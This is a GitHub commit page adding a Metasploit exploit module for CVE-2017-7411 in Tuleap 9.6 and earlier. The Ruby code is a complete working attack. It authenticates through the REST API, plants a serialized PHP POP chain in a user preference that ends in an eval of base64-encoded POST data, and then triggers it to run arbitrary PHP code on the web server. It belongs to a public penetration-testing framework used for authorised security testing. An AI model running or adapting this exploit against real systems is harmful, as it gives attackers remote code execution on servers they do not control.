Skip to content

Commit d3638d0

Browse files
committed
Land rapid7#9154, Tuleap PHP object injection exploit
2 parents 880a1d4 + 0e2a158 commit d3638d0

File tree

1 file changed

+184
-0
lines changed

1 file changed

+184
-0
lines changed
Lines changed: 184 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,184 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(update_info(info,
13+
'Name' => 'Tuleap 9.6 Second-Order PHP Object Injection',
14+
'Description' => %q{
15+
This module exploits a Second-Order PHP Object Injection vulnerability in Tuleap <= 9.6 which
16+
could be abused by authenticated users to execute arbitrary PHP code with the permissions of the
17+
webserver. The vulnerability exists because of the User::getRecentElements() method is using the
18+
unserialize() function with data that can be arbitrarily manipulated by a user through the REST
19+
API interface. The exploit's POP chain abuses the __toString() method from the Mustache class
20+
to reach a call to eval() in the Transition_PostActionSubFactory::fetchPostActions() method.
21+
},
22+
'Author' => 'EgiX',
23+
'License' => MSF_LICENSE,
24+
'References' =>
25+
[
26+
['URL', 'http://karmainsecurity.com/KIS-2017-02'],
27+
['URL', 'https://tuleap.net/plugins/tracker/?aid=10118'],
28+
['CVE', '2017-7411']
29+
],
30+
'Privileged' => false,
31+
'Platform' => ['php'],
32+
'Arch' => ARCH_PHP,
33+
'Targets' => [ ['Tuleap <= 9.6', {}] ],
34+
'DefaultTarget' => 0,
35+
'DisclosureDate' => 'Oct 23 2017'
36+
))
37+
38+
register_options(
39+
[
40+
OptString.new('TARGETURI', [true, "The base path to the web application", "/"]),
41+
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
42+
OptString.new('PASSWORD', [true, "The password to authenticate with" ]),
43+
OptInt.new('AID', [ false, "The Artifact ID you have access to", "1"]),
44+
Opt::RPORT(443)
45+
])
46+
end
47+
48+
def setup_popchain(random_param)
49+
print_status("Trying to login through the REST API...")
50+
51+
user = datastore['USERNAME']
52+
pass = datastore['PASSWORD']
53+
54+
res = send_request_cgi({
55+
'method' => 'POST',
56+
'uri' => normalize_uri(target_uri.path, 'api/tokens'),
57+
'ctype' => 'application/json',
58+
'data' => {'username' => user, 'password' => pass}.to_json
59+
})
60+
61+
unless res && (res.code == 201 || res.code == 200) && res.body
62+
msg = "Login failed with #{user}:#{pass}"
63+
print_error(msg) if @is_check
64+
fail_with(Failure::NoAccess, msg)
65+
end
66+
67+
body = JSON.parse(res.body)
68+
uid = body['user_id']
69+
token = body['token']
70+
71+
print_good("Login successful with #{user}:#{pass}")
72+
print_status("Updating user preference with POP chain string...")
73+
74+
php_code = "null;eval(base64_decode($_POST['#{random_param}']));//"
75+
76+
pop_chain = 'a:1:{i:0;a:1:{'
77+
pop_chain << 's:2:"id";O:8:"Mustache":2:{'
78+
pop_chain << 'S:12:"\00*\00_template";'
79+
pop_chain << 's:42:"{{#fetchPostActions}}{{/fetchPostActions}}";'
80+
pop_chain << 'S:11:"\00*\00_context";a:1:{'
81+
pop_chain << 'i:0;O:34:"Transition_PostAction_FieldFactory":1:{'
82+
pop_chain << 'S:23:"\00*\00post_actions_classes";a:1:{'
83+
pop_chain << "i:0;s:#{php_code.length}:\"#{php_code}\";}}}}}}"
84+
85+
pref = {'id' => uid, 'preference' => {'key' => 'recent_elements', 'value' => pop_chain}}
86+
87+
res = send_request_cgi({
88+
'method' => 'PATCH',
89+
'uri' => normalize_uri(target_uri.path, "api/users/#{uid}/preferences"),
90+
'ctype' => 'application/json',
91+
'headers' => {'X-Auth-Token' => token, 'X-Auth-UserId' => uid},
92+
'data' => pref.to_json
93+
})
94+
95+
unless res && res.code == 200
96+
msg = "Something went wrong"
97+
print_error(msg) if @is_check
98+
fail_with(Failure::UnexpectedReply, msg)
99+
end
100+
end
101+
102+
def do_login
103+
print_status("Retrieving the CSRF token for login...")
104+
105+
res = send_request_cgi({
106+
'method' => 'GET',
107+
'uri' => normalize_uri(target_uri.path, 'account/login.php')
108+
})
109+
110+
if res && res.code == 200 && res.body && res.get_cookies
111+
if res.body =~ /name="challenge" value="(\w+)">/
112+
csrf_token = $1
113+
print_good("CSRF token: #{csrf_token}")
114+
else
115+
print_warning("CSRF token not found. Trying to login without it...")
116+
end
117+
else
118+
msg = "Failed to retrieve the login page"
119+
print_error(msg) if @is_check
120+
fail_with(Failure::NoAccess, msg)
121+
end
122+
123+
user = datastore['USERNAME']
124+
pass = datastore['PASSWORD']
125+
126+
res = send_request_cgi({
127+
'method' => 'POST',
128+
'cookie' => res.get_cookies,
129+
'uri' => normalize_uri(target_uri.path, 'account/login.php'),
130+
'vars_post' => {'form_loginname' => user, 'form_pw' => pass, 'challenge' => csrf_token}
131+
})
132+
133+
unless res && res.code == 302
134+
msg = "Login failed with #{user}:#{pass}"
135+
print_error(msg) if @is_check
136+
fail_with(Failure::NoAccess, msg)
137+
end
138+
139+
print_good("Login successful with #{user}:#{pass}")
140+
res.get_cookies
141+
end
142+
143+
def exec_php(php_code)
144+
random_param = rand_text_alpha(10)
145+
146+
setup_popchain(random_param)
147+
session_cookies = do_login()
148+
149+
print_status("Triggering the POP chain...")
150+
151+
res = send_request_cgi({
152+
'method' => 'POST',
153+
'uri' => normalize_uri(target_uri.path, "plugins/tracker/?aid=#{datastore['AID']}"),
154+
'cookie' => session_cookies,
155+
'vars_post' => {random_param => Rex::Text.encode_base64(php_code)}
156+
})
157+
158+
if res && res.code == 200 && res.body =~ /Exiting with Error/
159+
msg = "No access to Artifact ID #{datastore['AID']}"
160+
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
161+
end
162+
163+
res
164+
end
165+
166+
def check
167+
@is_check = true
168+
flag = rand_text_alpha(rand(10)+20)
169+
res = exec_php("print '#{flag}';")
170+
171+
if res && res.code == 200 && res.body =~ /#{flag}/
172+
return Exploit::CheckCode::Vulnerable
173+
elsif res && res.body =~ /Exiting with Error/
174+
return Exploit::CheckCode::Unknown
175+
end
176+
177+
Exploit::CheckCode::Safe
178+
end
179+
180+
def exploit
181+
@is_check = false
182+
exec_php(payload.encoded)
183+
end
184+
end

0 commit comments

Comments
 (0)